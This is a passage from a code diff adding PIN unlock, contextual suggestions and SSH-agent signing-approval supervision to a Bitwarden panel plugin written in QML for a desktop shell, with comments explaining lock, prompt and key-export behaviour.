opened on its own it is just the generator. One screen either + // way, so the item form offers Bitwarden's own generator rather than a + // second, weaker one of its own. + property string generatorReturnScreen: "main" + readonly property bool generatorFeedsForm: generatorReturnScreen === "edit" + + // PIN unlock state + property bool pinConfigured: false // ciphertext present in the keyring + property string pinEntry: "" // locked-screen input + property int pinAttempts: 0 + readonly property int pinMaxAttempts: 5 + property string pinError: "" + property string pinSetupPin: "" + property string pinSetupConfirm: "" + property string pinSetupMaster: "" + property bool pinBusy: false + property bool pinUnlockSubmitted: false + readonly property bool pinReady: pinUnlock && pinConfigured + // Long enough to save, short enough to be a bad idea. Drives the red state + // on the PIN field during setup; see pinWeakWarning() in BitwardenModel.js. + readonly property bool pinSetupWeak: Model.isPinWeak(pinSetupPin) + readonly property string userName: Quickshell.env("USER") || Quickshell.env("LOGNAME") || "" + readonly property bool fingerprintReady: fingerprintUnlock && fingerprintAvailable && fingerprintStored + + // Contextual suggestions state + property var activeWindowData: null + property var detectedContext: null + property var suggestedItems: [] + property bool suggestionsDismissed: false + property var associations: ({ version: 1, keys: {} }) + property var learnedIds: ({}) + property string pendingAssociationsJson: "" + property bool associationsWritePending: false + property bool associationsClearPending: false + property int associationsEpoch: 0 + property int associationsReadEpoch: -1 + property bool sessionStorePending: false + property bool sessionClearPending: false + property bool pinClearPending: false + property bool masterClearPending: false + property bool allCredentialsClearPending: false + property bool logoutPending: false + property bool logoutCliDone: false + property bool logoutCredentialsDone: false + property int logoutExitCode: 0 + property int logoutCredentialsExitCode: 0 + readonly property bool logoutCleanupFailed: logoutPending && logoutCredentialsDone + && logoutCredentialsExitCode !== 0 + + // Visual styles + readonly property color fg: bar ? bar.foreground : Color.foreground + readonly property color urgent: bar ? bar.urgent : Color.urgent + readonly property color accent: Color.accent + readonly property color dim: Qt.darker(fg, 1.5) + readonly property color barIconColor: { + var base = bar ? bar.barForeground : Color.foreground + if (status === "unlocked") return Color.accent + if (status === "locked" || status === "checking") return base + return bar ? bar.urgent : Color.urgent + } + readonly property string fontFamily: bar ? bar.fontFamily : Style.font.family + + Component.onCompleted: { + // The dependency probe goes first, and the status probe follows from it in + // onDependenciesChecked. On a machine that already has `bw` the two are a + // few milliseconds apart; on a fresh install the order is the difference + // between opening on the setup screen and opening on a login form that + // cannot succeed. + root.checkDependencies() + root.loadAssociations() + // Explicit as well as bound: onSshAgentSupervisableChanged carries every + // later change, but a shell that starts with the feature already enabled + // evaluates that binding to true once, at creation, with nothing yet + // listening. + root.syncSshAgentSupervision() + // Everything above is the startup value, not a user action. Only changes + // after this point are transitions worth reacting to. + root.sshAgentSettingsReady = true + if (root.sshAgentEnabled) root.inspectSshAgentHelper() + root.inspectUwsmFragment() + } + + readonly property var categories: [ + { id: "all", label: "All", icon: "󰞀" }, + { id: "login", label: "Logins", icon: "󰌋" }, + { id: "secureNote", label: "Notes", icon: "󰈙" }, + { id: "card", label: "Cards", icon: "󰿯" }, + { id: "identity", label: "Identities", icon: "" }, + { id: "sshKey", label: "SSH Keys", icon: "󰣀" }, + { id: "favorite", label: "Favorites", icon: "󰓒" } + ] + + // SSH keys need a CLI that can decrypt them. Until the probe confirms one, + // the type filter that can only ever come back empty is not offered. + readonly property bool sshUiAvailable: Model.sshUiAvailable(dependencies, depsChecked) + readonly property var visibleCategories: sshUiAvailable + ? categories + : categories.filter(function(category) { return category.id !== "sshKey" }) + + // ------------------------------------------------------------------------- + // SSH companion supervision + // ------------------------------------------------------------------------- + // + // The decisions live in Model.sshAgentReduce(); this side owns the Process, + // the clock and the timers. Every event goes through applySshAgentEvent(), + // which is the only place the state object is replaced, so the mirrored + // properties below and the real state can never drift apart. + // + // Nothing here is on the path of an ordinary vault operation. A helper that + // will not start, will not handshake, or crashes repeatedly leaves login, + // unlock, list, copy, sync, edit, Send and the generator exactly as they + // are; it only closes the signing gate and parks in an error state. + + // Resolved from Panel.qml's own URL, so the helper is launched by an + // absolute path inside the plugin directory rather than off PATH. + readonly property string sshAgentPluginDir: Model.pluginDirFromUrl(String(Qt.resolvedUrl("."))) + readonly property string sshAgentRuntimeDir: Quickshell.env("XDG_RUNTIME_DIR") || "" + // What the shipped helper turned out to be. Checked once when the feature + // is enabled, and again whenever the plugin directory changes, because a + // plugin update can replace the binary under a running shell. + property var sshAgentHelper: ({ state: "unknown", source: "", version: "", + protocol: 0, checksum: "unchecked", selfTest: "", message: "" }) + + readonly property bool sshAgentSupervisable: sshAgentEnabled + && sshAgentPluginDir !== "" && sshAgentRuntimeDir !== "" + // A helper that fails inspection disables this feature and nothing else: + // no supervisor, so no socket, no FIFO, and no agent branch in the vault + // read. The rest of the plugin never sees it. + && Model.sshAgentHelperReady(sshAgentHelper) + + function inspectSshAgentHelper() { + if (sshAgentHelperProc.running) return + sshAgentHelperProc.command = Model.sshAgentHelperInspectCommand(root.sshAgentPluginDir) + sshAgentHelperProc.running = true + } + + function onSshAgentHelperInspected(raw) { + root.sshAgentHelper = Model.parseSshAgentHelperInspection(raw) + } + + property var sshAgentState: Model.sshAgentInitialState() + // Mirrors of sshAgentState. QML cannot bind through a plain JS object, and + // the handshake timeout and backoff timers have to be driven by bindings + // rather than by anything that waits. + property string sshAgentPhase: "disabled" + property bool sshAgentGateOpen: false + property string sshAgentSocketPath: "" + property string sshAgentFifoPath: "" + property string sshAgentVersion: "" + property string sshAgentErrorCode: "" + property string sshAgentErrorMessage: "" + + function applySshAgentEvent(event) { + var step = Model.sshAgentReduce(root.sshAgentState, event) + root.sshAgentState = step.state + root.sshAgentPhase = step.state.phase + root.sshAgentGateOpen = step.state.gateOpen + root.sshAgentSocketPath = step.state.socketPath + root.sshAgentFifoPath = step.state.fifoPath + root.sshAgentVersion = step.state.agentVersion + root.sshAgentErrorCode = step.state.errorCode + root.sshAgentErrorMessage = step.state.errorMessage + + // The state above is committed before any of this runs, because stopping + // the Process can re-enter this function with the child's exit before the + // outer call returns. That order is what makes the re-entry safe: the + // inner reduction sees the phase it should, and no action set here is one + // the inner call also sets. + var action = step.action + // Cancel before scheduling: a stop that arrives while a restart is armed + // must not leave the timer running against a helper nobody asked for. + if (action.cancelRestart) sshAgentRestartTimer.stop() + if (action.stop) stopSshAgentHelper() + if (action.writeHello && sshAgentProc.running) sshAgentProc.write(Model.sshAgentHelloLine()) + if (action.restartInMs >= 0) { + sshAgentRestartTimer.interval = action.restartInMs + sshAgentRestartTimer.restart() + } + if (action.start) startSshAgentHelper() + if (action.message) root.onSshAgentMessage(action.message) + } + + function startSshAgentHelper() { + sshAgentTerminateTimer.stop() + // A previous stop closed this. The control channel is the helper's only + // input, so it has to be open again before the handshake is written. + sshAgentProc.stdinEnabled = true + sshAgentProc.running = true + } + + // Stopping the helper is a request, not a signal. Its designed shutdown is + // the control channel closing: it drops its keys, unlinks its socket and + // FIFO, and exits. SIGTERM -- which is all `running = false` does -- skips + // every one of those, leaving a socket and FIFO behind for the next start + // to clean up. So ask, then terminate only if it does not go. + function stopSshAgentHelper() { + if (!sshAgentProc.running) { + sshAgentTerminateTimer.stop() + return + } + if (sshAgentProc.stdinEnabled) { + sshAgentProc.write(Model.sshAgentShutdownLine()) + sshAgentProc.stdinEnabled = false + } + sshAgentTerminateTimer.restart() + } + + // Live companion events. Task 10 supervises the channel; the vault + // lifecycle, approval UI and key loading that consume these arrive with + // Tasks 12-14. Until then an unhandled event is deliberately inert rather + // than an error: it is a valid v1 message the panel simply has no use for + // yet. + // ------------------------------------------------------------------------- + // Signing authorization + // ------------------------------------------------------------------------- + // + // One prompt at a time, never over a locked screen, and never claiming more + // about the requesting process than the companion actually checked. + + // What is actually on screen. A live signing request outranks navigation: + // the panel's own flows reset currentScreen freely -- opening the panel, + // finishing an unlock -- and each of those would otherwise drop a prompt + // that a blocked client is waiting on. Screen visibility binds to this + // rather than to currentScreen, so no later assignment can hide a prompt. + readonly property string activeScreen: sshPrompt !== null && !sshAgentApprovalPopup ? "sshApproval" : currentScreen + + property var sshPrompt: null // the approval_required being shown + property var sshPromptQueue: [] // FIFO queue of approval_required messages waiting to be shown + property var sshUnlockRequest: null // the unlock_required being shown + property var sshUnlockRaw: null // its original message, to promote from + property var sshUnlockQueue: [] // FIFO queue of unlock_required messages waiting + readonly property int sshPendingCount: Model.sshAgentPendingCount(sshPrompt, sshPromptQueue) + readonly property int sshUnlockPendingCount: Model.sshAgentPendingCount(sshUnlockRequest, sshUnlockQueue) + readonly property int sshTotalPendingCount: sshPendingCount + sshUnlockPendingCount + readonly property bool sshApprovalPopupOpen: sshAgentApprovalPopup + && (sshPrompt !== null || sshUnlockRequest !== null) + // Password, PIN, and fingerprint completion handlers must accept the + // transient overlay as a real authentication surface even while the + // anchored panel stays closed. + readonly property bool sshAuthSurfaceActive: opened || sshApprovalPopupOpen + // What the companion last announced, and the live view of it. The + // announcement is a snapshot; the view is that snapshot re-derived against + // a ticking clock, so a grant counts down on screen and disappears when it + // lapses instead of waiting for the next thing to happen. + property var sshGrantsAnnounced: [] + property double sshGrantTick: 0 + readonly property var sshGrants: Model.sshAgentGrantsAt(sshGrantsAnnounced, sshGrantTick) + property var sshCooldown: Model.sshAgentCooldownInitial() + // Whether the current cooldown has already been announced. Reset when it + // lapses, so a later one is announced again but the same one is not + // repeated on every refused request. + property bool sshCooldownAnnounced: false + readonly property var sshCooldownStatus: Model.sshAgentCooldownStatus(sshCooldown, sshCooldownTick) + // A one-second tick so the remaining time in the status actually counts + // down; bindings on Date.now() would never re-evaluate on their own. + property double sshCooldownTick: 0 + property double sshPromptStartedMs: 0 + property int sshPromptRemainingSec: 0 + property string screenBeforeSshApproval: "main" + // Whether the signing request is what put the panel on screen. If it was, + // answering hands the desktop back; if the user already had the panel open, + // it is theirs and they are returned to what they were doing. + property bool sshPromptOpenedPanel: false + + function sshAgentWrite(line) { + if (line === "") return + if (sshAgentProc.running && sshAgentProc.stdinEnabled) sshAgentProc.write(line) + } + + // Whether a request may raise UI at all. A locked screen never does, and a + // process that has had two refusals in a row is put on a cooldown so it + // cannot keep reopening the panel. + // Called wherever the cooldown may have just started. The announcement is + // the only thing that tells a user why their SSH command suddenly fails. + function noteSshCooldown() { + root.sshCooldownTick = Date.now() + var status = Model.sshAgentCooldownStatus(root.sshCooldown, Date.now()) + if (status.active && !root.sshCooldownAnnounced) { + root.sshCooldownAnnounced = true + flashNotification("SSH signing paused: too many unanswered prompts") + } else if (!status.active) { + root.sshCooldownAnnounced = false + } + } + + // The only way out of a running cooldown other than waiting it out. It has + // to be explicit: the cooldown suppresses the prompts an approval would + // answer, so nothing the requesting process does can end it, and nothing it + // does should. A person pressing this is the signal that the requests are + // wanted after all. + function resumeSshSigning() { + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "resumed", Date.now()) + noteSshCooldown() + } + + function sshAgentMayPrompt() { + // An unknown screen state counts as locked. The poll runs every few + // seconds while the agent is serving, so a reading older than this means + // the poll is not running and the panel cannot tell -- and the cost of + // guessing wrong is a credential prompt on a locked desktop. + var fresh = root.screenLockCheckedAt > 0 + && (Date.now() - root.screenLockCheckedAt) < (Model.screenLockPollMs() * 4) + if (!Model.sshAgentShouldPrompt(fresh ? { screenLocked: root.screenIsLocked } : null)) return false + return !Model.sshAgentCooldownActive(root.sshCooldown, Date.now()) + } + + function showSshApproval(message) { + root.sshPrompt = Model.sshAgentPromptView(message, root.sshAgentApprovalWindowSec) + root.sshPromptStartedMs = Date.now() + root.sshPromptRemainingSec = Math.ceil(Model.sshAgentRequestDeadlineMs() / 1000) + if (root.sshAgentApprovalPopup) { + root.sshPromptOpenedPanel = false + return + } + if (root.currentScreen !== "sshApproval") root.screenBeforeSshApproval = root.currentScreen + // Recorded before opening, because open() is what makes it true. + if (!root.sshUnlockRaw) root.sshPromptOpenedPanel = !root.opened + // Open first. Opening runs onPanelOpened(), which sends an unlocked panel + // to the item list, so claiming the screen before that would simply be + // undone -- the prompt would be live with nothing on screen. + if (!root.opened) root.open() + root.currentScreen = "sshApproval" + } + + // shell.json hot-reloads. If the preference changes while a client is + // blocked, move the same request to the newly selected surface rather than + // making it invisible until its deadline expires. + onSshAgentApprovalPopupChanged: { + if (!(root.sshPrompt || root.sshUnlockRequest)) return + if (root.sshAgentApprovalPopup) { + var requestOpenedPanel = root.sshPromptOpenedPanel + root.sshPromptOpenedPanel = false + if (requestOpenedPanel && root.opened) root.close() + return + } + + root.sshPromptOpenedPanel = !root.opened + if (!root.opened) root.open() + if (root.sshPrompt) root.currentScreen = "sshApproval" + } + + function dismissSshApproval() { + var openedForThis = root.sshPromptOpenedPanel + var popupWasUsed = root.sshApprovalPopupOpen + root.sshPrompt = null + root.sshPromptQueue = [] + root.sshPromotedOldId = null + root.sshUnlockRequest = null + root.sshUnlockRaw = null + root.sshUnlockQueue = [] + root.sshPromptOpenedPanel = false + if (root.currentScreen === "sshApproval") { + root.currentScreen = root.screenBeforeSshApproval === "sshApproval" + ? "main" : root.screenBeforeSshApproval + } + if (popupWasUsed) clearSshPopupUnlockState() + // Answered -- approved or denied alike -- so give the desktop back if the + // request is what took it. A panel the user opened themselves stays open + // on whatever screen they were using. + if (openedForThis && root.opened) root.close() + } + + function advanceSshPrompt() { + var res = Model.sshAgentDequeuePrompt(root.sshPromptQueue) + root.sshPromptQueue = res.remaining + if (res.next) { + showSshApproval(res.next) + return + } + dismissSshApproval() + } + + function advanceSshUnlock() { + var res = Model.sshAgentDequeuePrompt(root.sshUnlockQueue) + root.sshUnlockQueue = res.remaining + if (res.next) { + root.sshUnlockRaw = res.next + root.sshUnlockRequest = Model.sshAgentPromptView(res.next, 0) + root.sshPromptStartedMs = Date.now() + root.sshPromptRemainingSec = Math.ceil(Model.sshAgentRequestDeadlineMs() / 1000) + return + } + dismissSshApproval() + } + + // The popup is deliberately short lived. Do not let a dismissed or expired + // request leave a password, PIN, PAM conversation, or prewarmed CLI behind. + function clearSshPopupUnlockState() { + cancelFingerprintUnlock() + cancelAuthPrewarm() + if (pinUnlockProc.running) pinUnlockProc.running = false + root.pinUnlockSubmitted = false + root.pinBusy = false + root.masterPassword = "" + root.pendingUnlockPassword = "" + root.pendingUnlockFrom = "" + root.pinEntry = "" + root.pinError = "" + root.fingerprintMessage = "" + root.errorMessage = "" + } + + function approveSshRequest(grantSeconds) { + if (!sshPrompt) return + sshAgentWrite(Model.sshAgentApproveLine(sshPrompt.requestId, grantSeconds)) + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "approved", Date.now()) + noteSshCooldown() + advanceSshPrompt() + } + + function denySshRequest() { + if (sshUnlockRequest) { + sshAgentWrite(Model.sshAgentUnlockCancelledLine(sshUnlockRequest.requestId)) + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "denied", Date.now()) + noteSshCooldown() + advanceSshUnlock() + return + } + if (sshPrompt) { + sshAgentWrite(Model.sshAgentDenyLine(sshPrompt.requestId)) + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "denied", Date.now()) + noteSshCooldown() + advanceSshPrompt() + return + } + dismissSshApproval() + } + + function denyAllSshRequests() { + if (sshPrompt) { + sshAgentWrite(Model.sshAgentDenyLine(sshPrompt.requestId)) + } + for (var i = 0; i < root.sshPromptQueue.length; i++) { + if (root.sshPromptQueue[i] && root.sshPromptQueue[i].requestId) { + sshAgentWrite(Model.sshAgentDenyLine(root.sshPromptQueue[i].requestId)) + } + } + if (sshUnlockRequest) { + sshAgentWrite(Model.sshAgentUnlockCancelledLine(sshUnlockRequest.requestId)) + } + for (var j = 0; j < root.sshUnlockQueue.length; j++) { + if (root.sshUnlockQueue[j] && root.sshUnlockQueue[j].requestId) { + sshAgentWrite(Model.sshAgentUnlockCancelledLine(root.sshUnlockQueue[j].requestId)) + } + } + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "denied", Date.now()) + noteSshCooldown() + dismissSshApproval() + } + + // The companion expires the request; this only stops the panel showing a + // question whose answer would now be rejected anyway. + function expireSshRequest() { + if (!sshPrompt && !sshUnlockRequest) return + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "timeout", Date.now()) + noteSshCooldown() + dismissSshApproval() + } + + // Git SSH signing needs paths, so the validated public set is projected to + // files. Only what the companion vouched for is written, and only its + // public form -- sshExportIdentities() refuses anything that is not an + // OpenSSH public line. + function exportSshPublicKeys() { + var payload = Model.sshExportPayload(root.sshPendingPublicKeys) + root.sshPendingPublicKeys = [] + if (sshExportProc.running) return + sshExportProc.running = true + sshExportProc.write(payload) + sshExportProc.stdinEnabled = false + } + + // Logout, account change and disabling remove the projection. A lock does + // not: public identities stay advertised while locked, so their files stay + // with them. + function clearSshPublicKeys() { + root.sshPendingPublicKeys = [] + root.sshPendingPublicEpoch = -1 + if (sshExportClearProc.running) return + sshExportClearProc.running = true + } + + function onSshExportFinished(exitCode, stdout) { + var result = Model.parseSshExportResult(exitCode, stdout) + root.sshExportError = result.ok ? "" : result.message + } + + property string sshExportError: "" + + function revokeSshGrant(grantId) { + sshAgentWrite(Model.sshAgentRevokeGrantLine(grantId)) + } + + function revokeAllSshGrants() { + sshAgentWrite(Model.sshAgentRevokeGrantsLine()) + } + + property var sshPromotedOldId: null + + function adoptSshPrompt(message) { + if (root.sshPromotedOldId !== null && root.sshPrompt) { + root.sshPrompt.requestId = message.requestId + root.sshPromotedOldId = null + return true + } + return false + } + + function onSshAgentMessage(message) { + if (message.type === "approval_required") { + // A request that cannot raise UI is refused rather than left hanging: + // the client gets its answer now instead of waiting out the deadline. + if (!sshAgentMayPrompt()) { + sshAgentWrite(Model.sshAgentDenyLine(message.requestId)) + return + } + if (adoptSshPrompt(message)) return + if (root.sshPrompt !== null) { + root.sshPromptQueue = Model.sshAgentEnqueuePrompt(root.sshPromptQueue, message, 4) + return + } + showSshApproval(message) + return + } + if (message.type === "unlock_required") { + if (!sshAgentMayPrompt()) { + sshAgentWrite(Model.sshAgentUnlockCancelledLine(message.requestId)) + return + } + if (root.sshUnlockRequest !== null) { + root.sshUnlockQueue = Model.sshAgentEnqueuePrompt(root.sshUnlockQueue, message, 4) + return + } + root.sshUnlockRaw = message + root.sshUnlockRequest = Model.sshAgentPromptView(message, 0) + root.sshPromptStartedMs = Date.now() + root.sshPromptRemainingSec = Math.ceil(Model.sshAgentRequestDeadlineMs() / 1000) + if (root.sshAgentApprovalPopup) { + root.sshPromptOpenedPanel = false + return + } + root.sshPromptOpenedPanel = !root.opened + if (!root.opened) root.open() + return + } + if (message.type === "request_cancelled") { + // The request was cancelled by the client, timed out, or released on unlock. + var live = root.sshPrompt || root.sshUnlockRequest + if (live && live.requestId === message.requestId) { + if (message.reason !== "released") { + root.sshCooldown = Model.sshAgentCooldownAfter(root.sshCooldown, "timeout", Date.now()) + noteSshCooldown() + } else { + return + } + if (root.sshPrompt && root.sshPromptQueue.length > 0) advanceSshPrompt() + else if (root.sshUnlockRequest && root.sshUnlockQueue.length > 0) advanceSshUnlock() + else dismissSshApproval() + return + } + if (root.sshPromptQueue.length > 0) { + root.sshPromptQueue = Model.sshAgentRemovePrompt(root.sshPromptQueue, message.requestId) + } + if (root.sshUnlockQueue.length > 0) { + root.sshUnlockQueue = Model.sshAgentRemovePrompt(root.sshUnlockQueue, message.requestId) + } + return + } + if (message.type === "grants_changed") { + root.sshGrantsAnnounced = Model.sshAgentGrantViews(message.grants, Date.now()) + root.sshGrantTick = Date.now() + return + } + if (message.type === "public_key") { + // A new epoch starts a new set rather than adding to the last one. + if (root.sshPendingPublicEpoch !== message.epoch) { + root.sshPendingPublicEpoch = message.epoch + root.sshPendingPublicKeys = [] + } + root.sshPendingPublicKeys = root.sshPendingPublicKeys.concat([message]) + return + } + if (message.type === "keys_loaded") { + root.sshAgentKeyCount = Math.max(0, Math.floor(Number(message.keyCount)) || 0) + root.sshAgentKeysLoadedAt = Date.now() + // The set is complete: every public_key for this epoch arrived ahead of + // this message. + if (root.sshPendingPublicEpoch === message.epoch) exportSshPublicKeys() + return + } + if (message.type === "locked") { + // The companion has denied signing, dropped its grants and private keys, + // and kept only the public projection. That is what the kill timer was + // waiting for. + sshAgentLockAckTimer.stop() + return + } + if (message.type === "state_changed") { + root.sshAgentKeyCount = Math.max(0, Math.floor(Number(message.keyCount)) || 0) + return + } + // unlock_required, approval_required and grants_changed are the signing + // UX, and arrive with Task 14. Ignoring a valid v1 message is deliberate + // here; an unknown *type* is a protocol failure and never reaches this. + } + + // ------------------------------------------------------------------------- + // Key loading (the agent branch of the shared vault read) + // ------------------------------------------------------------------------- + // + // The companion's keystore requires a strictly increasing epoch per load, so + // this counter only ever goes up. It survives helper restarts harmlessly: a + // restarted companion begins again at 0, and every value the panel sends is + // still greater than that. + property int sshAgentEpoch: 0 + property string sshAgentLoadId: "" + property bool sshAgentLoadActive: false + // Whether the read now running carries the agent branch, and whether it has + // already been retried without it. The retry exists so an optional feature + // can never cost the user their item list. + property bool listAgentBranchActive: false + property bool listRetriedWithoutAgent: false + + // A nonce is generated ahead of the load that will use it. Reading + // /dev/urandom is fast, but it is still a process, and the ordinary item + // list must never wait on the agent feature -- so a load that finds no + // nonce ready simply runs without the branch and primes one for next time. + property string sshAgentNextLoadId: "" + // What the companion last reported it was serving. Public metadata only -- + // a count, not the keys -- and it is what tells the panel whether a locked + // companion still has a public cache to answer identity listings from. + property int sshAgentKeyCount: 0 + // The validated public identities the companion reported for the epoch + // currently loading. Accumulated per key, because a single message carrying + // all of them would exceed the control-line ceiling at the key limit. + property var sshPendingPublicKeys: [] + property int sshPendingPublicEpoch: -1 + property double sshAgentKeysLoadedAt: 0 + // The vault epoch a key load has already been started for. dropVaultState() + // advances vaultEpoch on every lock and logout, so this is what tells a + // startup load apart from one that has already happened for this session. + property int sshAgentLoadedForVaultEpoch: -1 + + function primeSshAgentLoadId() { + if (loadIdProc.running || sshAgentNextLoadId !== "") return + loadIdProc.running = true + } + + function onSshAgentLoadIdRead(raw) { + var candidate = String(raw || "").trim() + root.sshAgentNextLoadId = Model.isValidLoadId(candidate) ? candidate : "" + } + + // Close an open load window. Called on success, on failure, and on a lock + // that cancels the read underneath it. The companion holds every candidate + // unpublished until this arrives, and discards it on a failed status, so a + // window that is never closed is the one outcome to avoid. + function endSshAgentLoad(ok) { + if (!sshAgentLoadActive) return + sshAgentLoadActive = false + sshAgentLoadId = "" + if (sshAgentProc.running && sshAgentProc.stdinEnabled) { + sshAgentProc.write(Model.sshAgentLoadEndLine(sshAgentEpoch, ok)) + } + primeSshAgentLoadId() + } + + // A lock abandons the current loadId and stops the whole read. The pipeline + // runs as its own process group, so terminating the wrapper reaps `bw`, the + // caps, `tee` and both `jq` stages with it. + function cancelSshAgentLoad() { + if (listProc.running) listProc.running = false + endSshAgentLoad(false) + listAgentBranchActive = false + listRetriedWithoutAgent = false + } + + // Every vault transition reaches the companion through here, so the ordering + // rules live in one place: deny first, cancel work in flight, then let the + // panel get on with its own lock. Nothing below ever waits on the helper. + function applySshAgentLifecycle(event) { + var action = Model.sshAgentLifecycleTransition(event, { + enabled: root.sshAgentEnabled, + helperReady: root.sshAgentGateOpen, + loggedIn: root.status !== "unauthenticated", + unlocked: root.status === "unlocked", + loading: root.sshAgentLoadActive, + hasPublicCache: root.sshAgentKeyCount > 0, + epoch: root.sshAgentEpoch + }) + + if (action.cancelLoad) cancelSshAgentLoad() + for (var i = 0; i < action.controlLines.length; i++) { + if (sshAgentProc.running && sshAgentProc.stdinEnabled) sshAgentProc.write(action.controlLines[i]) + } + if (action.clearPublic) { + root.sshAgentKeyCount = 0 + root.sshAgentKeysLoadedAt = 0 + clearSshPublicKeys() + } + // The acknowledgment is a courtesy the panel gives the companion two + // seconds to return. It is not a precondition for locking: `bw lock` has + // already been launched by the caller, and a companion that cannot + // confirm a lock is one that must not keep running. + if (action.awaitLockAck) sshAgentLockAckTimer.restart() + if (action.stopHelper) stopSshAgentHelper() + if (action.startLoad && !listProc.running) loadItems(false) + } + + function syncSshAgentSupervision() { + applySshAgentEvent({ kind: "enabled", value: root.sshAgentSupervisable, nowMs: Date.now() }) + } + + onSshAgentSupervisableChanged: syncSshAgentSupervision() + + function sendSshAgentOptions() { + sshAgentWrite(Model.sshAgentOptionsLine(root.sshAgentUnlockOnDemand)) + } + + onSshAgentUnlockOnDemandChanged: sendSshAgentOptions() + + onSshAgentGateOpenChanged: { + if (sshAgentGateOpen) sendSshAgentOptions() + if (!sshAgentGateOpen) { + endSshAgentLoad(false) + // The keystore lives in the helper's memory. Whatever it held went with + // it, so the panel must stop claiming those keys are still served. + root.sshAgentKeyCount = 0 + return + } + // A new helper is empty even when the vault epoch has not moved -- the + // epoch tracks the vault, not the process. Clearing this is what makes a + // restarted or re-enabled helper eligible for a load, instead of leaving + // it keyless until something unrelated happens to bump the epoch. + root.sshAgentLoadedForVaultEpoch = -1 + primeSshAgentLoadId() + // Startup is not evidence that the vault is locked: rememberSession can + // restore a session key, so the panel can already be unlocked when the + // companion finishes its handshake with an empty keystore. Deferred by a + // beat so the nonce that was just primed is actually ready. + sshAgentStartupLoadTimer.restart() + } + + Timer { + id: sshAgentStartupLoadTimer + interval: 250 + repeat: false + onTriggered: root.maybeStartupLoad() + } + + // Two things have to be true before a startup load makes sense -- the helper + // is serving, and the vault is actually unlocked -- and on a shell restart + // they arrive in either order: the handshake can easily beat the first + // `bw status`. So both edges call this, and the vault epoch keeps it to one + // load rather than one per edge. + function maybeStartupLoad() { + if (!sshAgentGateOpen || root.status !== "unlocked") return + // A read already running is the common case at startup: the panel's first + // item read is launched before the helper has finished handshaking, so it + // carries no agent branch. onListFinished() calls back here once it lands. + if (sshAgentLoadActive || listProc.running) return + if (sshAgentLoadedForVaultEpoch === root.vaultEpoch) return + // Marked before the attempt, not after it, so one failed attempt cannot + // turn into a read that relaunches itself. + sshAgentLoadedForVaultEpoch = root.vaultEpoch + applySshAgentLifecycle("startup") + } + + onStatusChanged: { + promoteUnlockToApproval() + maybeStartupLoad() + } + + // The vault is unlocked but its keys are still being read. Ask now rather + // than after: approving needs the key's identity and the requesting + // program, and both are already known. The companion records the approval + // and applies it the moment the keys land, re-checking that the approved + // key is actually present before it signs. + function promoteUnlockToApproval() { + if (root.status !== "unlocked" || !root.sshUnlockRaw || root.sshPrompt) return + // A listing is satisfied by the load itself; there is no signature to + // authorise, so it stays a wait rather than becoming an approval. + if (root.sshUnlockRaw.reason === "list-identities") return + var raw = root.sshUnlockRaw + root.sshPromotedOldId = raw.requestId + root.sshUnlockRequest = null + root.sshUnlockRaw = null + root.sshUnlockQueue = [] + showSshApproval(raw) + } + + // The bound on the companion's lock acknowledgment. A helper that cannot + // confirm it has dropped its keys is a helper that must not keep running. + Timer { + id: sshAgentLockAckTimer + interval: Model.sshAgentLockAckTimeoutMs() + repeat: false + onTriggered: if (sshAgentProc.running) sshAgentProc.running = false + } + + // Disabled / enabled / error, as the design's table defines them. Derived, + // never stored: it can only ever say what the supervisor is actually doing. + readonly property var sshAgentSetup: Model.sshAgentSetupState({ + enabled: sshAgentEnabled, + supervisable: sshAgentSupervisable, + phase: sshAgentPhase, + errorCode: sshAgentErrorCode + }) + + // ------------------------------------------------------------------------- + // Client routing (advisory) + // ------------------------------------------------------------------------- + // + // Where SSH_AUTH_SOCK points decides nothing above. The companion binds a + // deterministic path and never reads it; this is only about whether the + // user's *clients* will find that socket. The panel sees the graphical + // session's environment and nothing else, so everything here is phrased as + // a hint with a check the user can run in the terminal they actually use. + readonly property string sshAuthSock: Quickshell.env("SSH_AUTH_SOCK") || "" + readonly property var sshRouting: Model.sshAuthSockDiagnostic(sshAuthSock, sshAgentRuntimeDir) + + property var uwsmFragment: ({ state: "unknown", removable: false, message: "" }) + readonly property var sshRoutingNotice: Model.sshAgentRoutingNotice(uwsmFragment, sshRouting) + property bool uwsmBusy: false + property string uwsmFlash: "" + // Set when the session already points at another agent. Writing the fragment + // would make Bitwarden the primary agent at the next login, which is not + // something to do silently on one click. + property bool uwsmConfirmPending: false + + function inspectUwsmFragment() { + if (uwsmInspectProc.running) return + uwsmInspectProc.running = true + } + + function beginUwsmSetup() { + if (uwsmBusy) return + if (sshRouting.state === "elsewhere" && !uwsmConfirmPending) { + uwsmConfirmPending = true + return + } + uwsmConfirmPending = false + uwsmBusy = true + uwsmFlash = "" + uwsmWriteProc.running = true + } + + // Clearing everything the plugin stored outside its own folder. Confirmed + // rather than absorbed by the first click: it drops a stored master + // password and every learned suggestion, and none of it comes back. + property bool pluginDataConfirmPending: false + property bool pluginDataBusy: false + property string pluginDataFlash: "" + + function beginPluginDataRemoval() { + if (pluginDataBusy) return + if (!pluginDataConfirmPending) { + pluginDataConfirmPending = true + return + } + pluginDataConfirmPending = false + pluginDataBusy = true + pluginDataFlash = "" + pluginDataRemoveProc.running = true + } + + function cancelPluginDataRemoval() { + pluginDataConfirmPending = false + } + + function onPluginDataRemoved(exitCode, stdout) { + var result = Model.parsePluginDataRemoval(exitCode, stdout) + root.pluginDataBusy = false + root.pluginDataFlash = result.message + // The keyring entry is part of what was just deleted, so what the panel + // believes about a stored master password must not be kept. + if (result.ok) root.fingerprintStored = false + } + + function cancelUwsmSetup() { + uwsmConfirmPending = false + } + + // Safe to call unconditionally: the script removes the file only when it is + // byte-for-byte the one this plugin writes, and refuses a symlink outright. + function removeUwsmFragment() { + if (uwsmBusy) return + uwsmConfirmPending = false + uwsmBusy = true + uwsmFlash = "" + uwsmRemoveProc.running = true + } + + function onUwsmActionFinished(exitCode, stdout) { + var result = Model.parseUwsmActionResult(exitCode, stdout) + root.uwsmBusy = false + root.uwsmFlash = result.message + root.inspectUwsmFragment() + } + + // Turning the agent off takes the routing file with it, but only if it is + // the exact file this plugin wrote. Anything the user manages by hand is + // left alone with instructions rather than deleted on a toggle. + // + // Gated on startup having 